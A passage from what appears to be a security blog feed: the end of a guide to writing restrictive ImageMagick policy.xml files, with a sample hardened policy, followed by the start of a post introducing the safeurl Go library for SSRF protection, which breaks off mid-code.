&lt;p&gt;In ImageMagick 6.9.7-7, an &lt;a href=&quot;https://blog.awm.jp/2017/02/09/imagemagick-en/&quot;&gt;unlisted change&lt;/a&gt; was pushed. The policy parser changed behavior from disallowing the use of a coder if there was at least one &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;none&lt;/code&gt;-permission rule in the policy to respecting the last matching rule in the policy for the coder. This means that it is possible to adopt an allowlist approach in modern policies, first denying all coders &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rights&lt;/code&gt; and enabling the vetted ones. A more secure policy would specify:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  ...
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;delegate&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;*&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;coder&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;*&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;coder&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;read | write&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{GIF,JPEG,PNG,WEBP}&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  ...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;case-sensitivity&quot;&gt;Case sensitivity&lt;/h2&gt;

&lt;p&gt;Consider the following directive:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  ...
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;coder&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ephemeral,epi,eps,msl,mvg,pdf,plt,ps,ps2,ps3,show,text,win,xps&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  ...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With this, conversions will still be allowed, since policy patterns are case sensitive. Coders and modules must always be upper-case in the policy (e.g. “EPS” not “eps”).&lt;/p&gt;

&lt;h2 id=&quot;resource-limits&quot;&gt;Resource limits&lt;/h2&gt;

&lt;p&gt;Denial of service in ImageMagick is quite easy to achieve. To get a fresh set of payloads it’s convenient to search &lt;a href=&quot;https://github.com/ImageMagick/ImageMagick/issues?q=oom&quot;&gt;“oom”&lt;/a&gt; or similar keywords in the recently opened issues reported on the Github repository of the library. This is an issue since an ImageMagick instance accepting potentially malicious inputs (which is often the case) will always be prone to be exploited. Because of this, the tool also reports if reasonable limits are not explicitly set by the policy.&lt;/p&gt;

&lt;h2 id=&quot;policy-fragmentation&quot;&gt;Policy fragmentation&lt;/h2&gt;

&lt;p&gt;Once a policy is defined, it’s important to make sure that the policy file is taking effect. ImageMagick packages bundled with the distribution or installed as dependencies through multiple package managers may specify different policies that interfere with each other. A quick &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;find&lt;/code&gt; on your local machine will identify multiple occurrences of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;policy.xml&lt;/code&gt; files:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ find / -iname policy.xml

# Example output on macOS
/usr/local/etc/ImageMagick-7/policy.xml
/usr/local/Cellar/imagemagick@6/6.9.12-60/etc/ImageMagick-6/policy.xml
/usr/local/Cellar/imagemagick@6/6.9.12-60/share/doc/ImageMagick-6/www/source/policy.xml
/usr/local/Cellar/imagemagick/7.1.0-45/etc/ImageMagick-7/policy.xml
/usr/local/Cellar/imagemagick/7.1.0-45/share/doc/ImageMagick-7/www/source/policy.xml

# Example output on Ubuntu
/usr/local/etc/ImageMagick-7/policy.xml
/usr/local/share/doc/ImageMagick-7/www/source/policy.xml
/opt/ImageMagick-7.0.11-5/config/policy.xml
/opt/ImageMagick-7.0.11-5/www/source/policy.xml

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Policies can also be configured using the &lt;a href=&quot;https://imagemagick.org/script/command-line-options.php#limit&quot;&gt;-limit&lt;/a&gt; CLI argument, &lt;a href=&quot;https://imagemagick.org/api/resource.php#SetMagickResourceLimit&quot;&gt;MagickCore API&lt;/a&gt; methods, or with environment variables.&lt;/p&gt;

&lt;h2 id=&quot;a-starter-restrictive-policy&quot;&gt;A starter, restrictive policy&lt;/h2&gt;

&lt;p&gt;Starting from the most restrictive policy described in the official documentation, we designed a restrictive policy gathering all our observations:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;policymap&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;resource&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;temporary-path&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/mnt/magick-conversions-with-restrictive-permissions&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;&amp;lt;!-- the location should only be accessible to the low-privileged user running ImageMagick --&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;resource&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;memory&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;256MiB&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;resource&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;list-length&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;32&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;resource&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;width&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;8KP&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;resource&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;height&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;8KP&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;resource&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;map&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;512MiB&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;resource&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;area&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;16KP&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;resource&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;disk&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1GiB&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;resource&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;file&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;768&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;resource&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;thread&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;2&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;resource&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;time&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;10&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;module&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;*&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt; 
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;delegate&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;*&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;coder&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;*&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt; 
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;coder&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;write&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{PNG,JPG,JPEG}&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;&amp;lt;!-- your restricted set of acceptable formats, set your rights needs --&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;filter&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;*&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;path&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rights=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;@*&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;cache&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;memory-map&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;anonymous&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;cache&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;synchronize&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;true&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;c&quot;&gt;&amp;lt;!-- &amp;lt;policy domain=&quot;cache&quot; name=&quot;shared-secret&quot; value=&quot;my-secret-passphrase&quot; stealth=&quot;True&quot;/&amp;gt; Only needed for distributed pixel cache spanning multiple servers --&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;system&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;shred&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;2&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;system&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;max-memory-request&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;256MiB&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;resource&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;throttle&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;&amp;lt;!-- Periodically yield the CPU for at least the time specified in ms --&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;policy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;domain=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;system&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;precision&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;6&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/policymap&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can verify that a security policy is active using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;identify&lt;/code&gt; command:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;identify -list policy
Path: ImageMagick/policy.xml
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can also play with the above policy using our evaluator tool while developing a tailored one.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>safeurl for Go</title>
   <link href="https://blog.doyensec.com/2022/12/13/safeurl.html"/>
   <updated>2022-12-13T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2022/12/13/safeurl</id>
   <content type="html">&lt;p&gt;&lt;strong&gt;Do you need a Go HTTP library to protect your applications from SSRF attacks?&lt;/strong&gt; If so, try &lt;a href=&quot;https://github.com/doyensec/safeurl&quot;&gt;safeurl&lt;/a&gt;. 
It’s a one-line drop-in replacement for Go’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net/http&lt;/code&gt; client.&lt;/p&gt;

&lt;h2 id=&quot;no-more-ssrf-in-go-web-apps&quot;&gt;No More SSRF in Go Web Apps&lt;/h2&gt;

&lt;p&gt;When building a web application, it is not uncommon to issue HTTP requests to internal microservices or even external third-party services. Whenever a URL is provided by the user, it is important to ensure that &lt;em&gt;Server-Side Request Forgery&lt;/em&gt; (SSRF) vulnerabilities are properly mitigated. As eloquently described in PortSwigger’s &lt;a href=&quot;https://portswigger.net/web-security/ssrf&quot;&gt;Web Security Academy&lt;/a&gt; pages, SSRF is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.&lt;/p&gt;

&lt;p&gt;While libraries mitigating SSRF in numerous programming languages exist, Go didn’t have an easy to use solution. Until now!&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;safeurl for Go&lt;/code&gt; is a library with built-in SSRF and DNS rebinding protection that can easily replace Go’s default &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net/http&lt;/code&gt; client. All the heavy work of parsing, validating and issuing requests is done by the library. The library works out-of-the-box with minimal configuration, while providing developers the customizations and filtering options they might need. Instead of fighting to solve application security problems, developers should be free to focus on delivering quality features to their customers.&lt;/p&gt;

&lt;p&gt;This library was inspired by SafeCURL and SafeURL, respectively by &lt;a href=&quot;https://twitter.com/fin1te&quot;&gt;Jack Whitton&lt;/a&gt; and &lt;a href=&quot;https://blog.includesecurity.com/2016/08/introducing-safeurl-a-set-of-ssrf-protection-libraries/&quot;&gt;Include Security&lt;/a&gt;. Since no SafeURL for Go existed, Doyensec made it available for the community.&lt;/p&gt;

&lt;h2 id=&quot;what-does-safeurl-offer&quot;&gt;What Does &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;safeurl&lt;/code&gt; Offer?&lt;/h2&gt;

&lt;p&gt;With &lt;a href=&quot;#configuration&quot;&gt;minimal configuration&lt;/a&gt;, the library prevents unauthorized requests to internal, private or reserved IP addresses. All HTTP connections are validated against an allowlist and a blocklist. By default, the library blocks all traffic to private or reserved IP addresses, as defined by &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc1918&quot;&gt;RFC1918&lt;/a&gt;. This behavior can be updated via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;safeurl&lt;/code&gt;’s client configuration. The library will give precedence to allowed items, be it a hostname, an IP address or a port. In general, allowlisting is the recommended way of building secure systems. In fact, it’s easier (and safer) to explicitly set allowed destinations, as opposed to having to deal with updating a blocklist in today’s ever-expanding threat landscape.&lt;/p&gt;

&lt;h2 id=&quot;installation&quot;&gt;Installation&lt;/h2&gt;

&lt;p&gt;Include the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;safeurl&lt;/code&gt; module in your Go program by simply adding &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;github.com/doyensec/safeurl&lt;/code&gt; to your project’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;go.mod&lt;/code&gt; file.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;go get &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; github.com/doyensec/safeurl
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;usage&quot;&gt;Usage&lt;/h2&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;safeurl.Client&lt;/code&gt;, provided by the library, can be used as a drop-in replacement of Go’s native &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net/http.Client&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The following code snippet shows a simple Go program that uses the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;safeurl&lt;/code&gt; library:&lt;/p&gt;
&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;fmt&quot;&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;github.com/doyensec/safeurl&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;config&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;safeurl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetConfigBuilder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;Build&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;safeurl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;resp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://example.com&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
